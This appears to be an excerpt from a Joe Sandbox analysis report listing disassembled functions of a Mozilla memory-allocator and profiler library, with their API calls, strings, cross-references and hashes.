: (malloc) Error in VirtualFree(), xrefs: 6C670D67, 6C670D7B, 6C670DAC

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: !oi/$: (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3695552700
Opcode ID: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction ID: e8992d00596065b3b005aafba80a9a854203beed125ea67ceae0e362e91cc08c
Opcode Fuzzy Hash: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction Fuzzy Hash: 01C20271A057418FD724CF28C590756BBE1BF85328F28CA6DE4698B7D5C732E801CBA9

Function 6C6BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C6BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C6BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C6C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0ED4

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction ID: 09fc73846ed4e5b5e4925d412a24fb1bb0b96869d3e965f44c9892b77a9da60c
Opcode Fuzzy Hash: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction Fuzzy Hash: F063AD75E0025A8FCB04CFA8C8806DDFBB2FF89304F298269D855BB755D730A946CB95

Function 6C693E50 Relevance: 30.5, APIs: 13, Strings: 4, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>il,?,?,?,6C693E7D,?,?), ref: 6C6B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C693F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C693F5C
VerSetConditionMask.NTDLL ref: 6C693F8D
VerSetConditionMask.NTDLL ref: 6C693F99
VerSetConditionMask.NTDLL ref: 6C693FA0
VerSetConditionMask.NTDLL ref: 6C693FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C693FB4

Strings

nvinit.dll, xrefs: 6C694479
!oi/, xrefs: 6C693E66
nvd3d9wrap.dll, xrefs: 6C694466
C>il, xrefs: 6C693E93

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: !oi/$C>il$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-4209497952
Opcode ID: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction ID: c4b7b43111936190e031cebce628acb0aecf7b3affde093ccdcb8ce31f9d9907
Opcode Fuzzy Hash: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction Fuzzy Hash: 2452F531614B459FDB10DF348480ABBB7E9AF86304F04096DE5978BB82CB74F909CB68

Function 6C66FEF0 Relevance: 25.3, APIs: 13, Strings: 3, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4, 6C671A10
MOZ_CRASH(), xrefs: 6C670CA7
!oi/, xrefs: 6C66FEFF

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: !oi/$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-2162292291
Opcode ID: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction ID: c5f8d1fd12965b830365947a9c50168999fe390861b717d07dff7eeaa7903c5c
Opcode Fuzzy Hash: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction Fuzzy Hash: 99B2FE316057418FD724CF28C5D0716BBE1BF85328F28CA6DE86A8BB95C731E840CB69

Function 6C6A5600 Relevance: 23.7, APIs: 6, Strings: 7, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6C6A5E79, 6C6A5E8F
schema, xrefs: 6C6A606D
data, xrefs: 6C6A6131
ProfileBuffer parse error: %s, xrefs: 6C6A5AC8, 6C6A5CBB
expected a Time entry, xrefs: 6C6A5CB6
!oi/, xrefs: 6C6A5613
expected a Count entry, xrefs: 6C6A5AC3

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: !oi/$ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-3449272021
Opcode ID: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction ID: 15787890fe778cc31cb661b3cbed2d527a4f8242da0139c910558a72f95608e2
Opcode Fuzzy Hash: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction Fuzzy Hash: 1F926CB1A087418FD724CF59C49079AB7E1FFC9308F14891DE59A9B751DB30E80ACB9A

Function 6C697E10 Relevance: 21.4, APIs: 6, Strings: 6, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C697ECF, 6C698335
vml, xrefs: 6C698207
schema, xrefs: 6C6981E3, 6C698311
data, xrefs: 6C698280, 6C6983E1
!oi/, xrefs: 6C697E24
(pre-xul), xrefs: 6C697E88

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$!oi/$data$name$schema$vml
API String ID: 3412268980-669826913
Opcode ID: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction ID: d705e3e16f5a66896cbab592bcc7b139a249099473c9c99f12f19ba6965382d3
Opcode Fuzzy Hash: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction Fuzzy Hash: 95E17EB1A043418BC710CF69884065BFBE9FBC5318F154A2DE899D7790DBB0ED498B9A

Function 6C6B5FF0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C6B6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C6B6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Qel,?), ref: 6C6B6046
OutputDebugStringA.KERNEL32(?,Qel,?), ref: 6C6B6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C6D148E), ref: 6C6B6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Qel,00000000,?), ref: 6C6B60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B60C4

Strings

Qel, xrefs: 6C6B5FFC, 6C6B6042, 6C6B6045, 6C6B60B3
!oi/, xrefs: 6C6B5FFF

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: !oi/$Qel
API String ID: 3835517998-3902484529
Opcode ID: a4574409b69409ae6be25b6d807e4b3fa98b40acfd1afdc6698b14afde359f41
Instruction ID: 0bee4949a3c12674624caf69fdf099db811cb994a11b43c0f01aa4cdd0b21ba7
Opcode Fuzzy Hash: a4574409b69409ae6be25b6d807e4b3fa98b40acfd1afdc6698b14afde359f41
Instruction Fuzzy Hash: 5F21C971A002089FDF105F25DC89AAE7BB8FF85714F008428E95AD7241CB75B559CFEA

Function 6C675E90 Relevance: 20.7, APIs: 5, Strings: 7, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2
memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C6761F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C677652

Strings

MOZ_CRASH(), xrefs: 6C677BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C677BCD, 6C677C1F, 6C677C34, 6C6780FD
!oi/, xrefs: 6C675E9F
ewkl, xrefs: 6C675E9C, 6C675F22, 6C6761ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6772F8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6772E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C67730D

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: !oi/$MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewkl
API String ID: 2613674957-3141506121
Opcode ID: 680c48dcf9b31852c235396ec589b556973e22b603f0989a5bb0c17bd00a9d83
Instruction ID: 13738e89483b599a26ee7064ab1de4d6f5ddb4f79b35eb5c83b6c5f952d12e41
Opcode Fuzzy Hash: 680c48dcf9b31852c235396ec589b556973e22b603f0989a5bb0c17bd00a9d83
Instruction Fuzzy Hash: 9C33BC716067018FC325CF28C590615BBE2FF85328F29CBADE8698B7A5D731E841CB59

Function 6C6A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C6A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C6A378D
get , xrefs: 6C6A3205
set , xrefs: 6C6A36EC

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction ID: e335c5896470117f24a1d7905bca94b85fc95766e42619db47664e281dacefd1
Opcode Fuzzy Hash: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction Fuzzy Hash: 23325F706083818FD324CF64C4906AEF7E2AFCA318F54892DE59987751DB31E94ACB5B

Function 6C67D4D0 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D6A6
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D712
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D7EA

Strings

<jemalloc>, xrefs: 6C67D827
!oi/, xrefs: 6C67C0F9, 6C67D4E2
: (malloc) Error initializing arena, xrefs: 6C67D82C

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: !oi/$: (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-1072245127
Opcode ID: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction ID: 8e5b2784bc4e44ae93db445447a53da21b8530f242c60e12b6fd494aaa9eed1f
Opcode Fuzzy Hash: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction Fuzzy Hash: 1991C471A047018FD764CF29C49076AB7E1EB89318F158D2EE55AC7B81D734E844CBAA

Function 6C6B4EA0 Relevance: 17.9, APIs: 8, Strings: 2, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C6B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4F2E
moz_xmalloc.MOZGLUE ref: 6C6B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C6B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52E6
Sleep.KERNEL32(00000010), ref: 6C6B5481
free.MOZGLUE(?), ref: 6C6B5498

Strings

(, xrefs: 6C6B5250
!oi/, xrefs: 6C6B4EAF

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: !oi/$(
API String ID: 4104871533-4078607093
Opcode ID: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction ID: 4fb74f4d0ce92a9ec60c45ee6cd4a51cd83b2aaa59eff681b535a05e015bdd44
Opcode Fuzzy Hash: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction Fuzzy Hash: E1F1B271A19B408FC716CF39C89062BB7F5AFE6384F058B2EF846A7651DB31D4428B85

Function 6C679E50 Relevance: 14.9, APIs: 6, Strings: 2, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C679EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C679F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C679F34
LeaveCriticalSection.KERNEL32(?), ref: 6C67A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67A8B1, 6C67A8D4, 6C67A8EF
!oi/, xrefs: 6C679E60

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: !oi/$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1007246604
Opcode ID: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction ID: c1827dcb3a360c7d673e696c750ffb37eae7622c7899b4964e0a10ca42f943cf
Opcode Fuzzy Hash: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction Fuzzy Hash: BA728D72A157118FD324CF28C540615FBE1BF89328F29CB6DE8698B792D335E841CB94

Function 6C6A2C10 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6A2C61

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6A2E2D

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

Strings

(root), xrefs: 6C6A354F
ProfileBuffer parse error: %s, xrefs: 6C6A2E3B
expected a Time entry, xrefs: 6C6A2E36
!oi/, xrefs: 6C6A2C26, 6C6A2D08

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: !oi/$(root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-1603371057
Opcode ID: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction ID: c45b159c50666698707fa0529ec4367b72d96f9d0c3f7e5a65ee094248517380
Opcode Fuzzy Hash: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction Fuzzy Hash: 4191CF706087408FC724DF65C48469EF7E1AFCA358F10492DE99A8B751DB30E94ACB5B

Function 6C6B9E30 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C6B9F3D
__aulldiv.LIBCMT ref: 6C6B9F77
__aullrem.LIBCMT ref: 6C6B9F8C
__aulldiv.LIBCMT ref: 6C6BA023

Strings

!oi/, xrefs: 6C6B9E3C
-Infinity, xrefs: 6C6B9E60, 6C6B9E7B
NaN, xrefs: 6C6B9EAB

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: !oi/$-Infinity$NaN
API String ID: 3839614884-2585919557
Opcode ID: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction ID: cec4c0ba687317817b06540f2b3d32a47266ace032b3340d36d16366b67eb18d
Opcode Fuzzy Hash: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction Fuzzy Hash: FDC1DE31E043188BDB14CFA8C8907DEB7B6FF85318F544529D40ABBB81DB70A959CB99

Function 6C65D4E0 Relevance: 12.1, Strings: 9, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C65DC7F
, xrefs: 6C65DA88
8, xrefs: 6C65DC08
1, xrefs: 6C65DBDD
-, xrefs: 6C65D7DD
!oi/, xrefs: 6C65D4F8
9, xrefs: 6C65DE7F
0, xrefs: 6C65D852
@, xrefs: 6C65DAF6

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
